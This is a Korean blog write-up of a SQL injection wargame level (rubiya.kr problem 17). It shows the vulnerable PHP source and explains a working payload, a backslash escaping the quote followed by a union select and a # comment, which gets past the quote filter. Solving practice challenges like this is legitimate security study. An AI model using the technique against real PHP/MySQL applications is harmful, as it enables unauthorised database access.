webhacking/sql, sql injection

rubiya.kr 17번.

qkqhxla1 2014. 8. 30. 17:07

http://rubiya.kr/sqli/prob17.php


<?php 
  
include "./dbconn.php"
  include 
"./solve.php"
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[id])) exit("HeHe"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob17 where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) solve(); 
  
highlight_file(__FILE__); 
?>


이것도 몇일 갈 뻔 했으나... 생각을 '에 집중했다. 16번에서는 ereg함수의 취약점으로 


어떻게던 '을 쓸쑤 있게끔 회피했지만, 17번에서는 preg_match()로 바꿈으로써, '를 쓰는건 불가능하다고


보면 된다. mysql에서 ''사이의 값은 어떤 별 생난리문자가 들어와도 그냥 문자열로 인식된다.


id='로 '가 열려있으므로 제대로 뒷부분을 닫아주던가 어떻게 우회하던가 해야되는데.....


유심히 살펴보던도중 \가 필터에서 제거된걸 확인했다. \'처럼 쓰면 '가 닫는문자가 아닌


문자열의 일부로 인식되는데 그걸 어떻게든 이용하면 될 것 같다. 또 지금보니 16번에서는


\가 막혀있는데 17번에서는 열려있다. \를 이용하는것 같다.


/**/로 id와 pw사이를 잘 막고 #으로 막고 등등 다 생각하다가 발견했다.


http://rubiya.kr/sqli/prob17.php?id=a\&pw=%20union%20select%20char(97)%23


처럼 하면 


query : select id from prob17 where id='a\' and pw=' union select char(97)#'

라는 쿼리가 완성되는데, id 부분은 \로 인해서 아래의 빨간부분이 아이디로 인식이 되고,

뒷부분은 잘 변형하면 된다.

select id from prob17 where id='a\' and pw=' union select char(97)#'


'webhacking > sql, sql injection' 카테고리의 다른 글

mysql 이상한 주석문  (0) 2014.08.31
webhacking.kr 9번.  (16) 2014.08.31
rubiya.kr 16번.  (0) 2014.08.30
itchy  (0) 2014.08.29
rubiya.kr 14번.  (0) 2014.08.28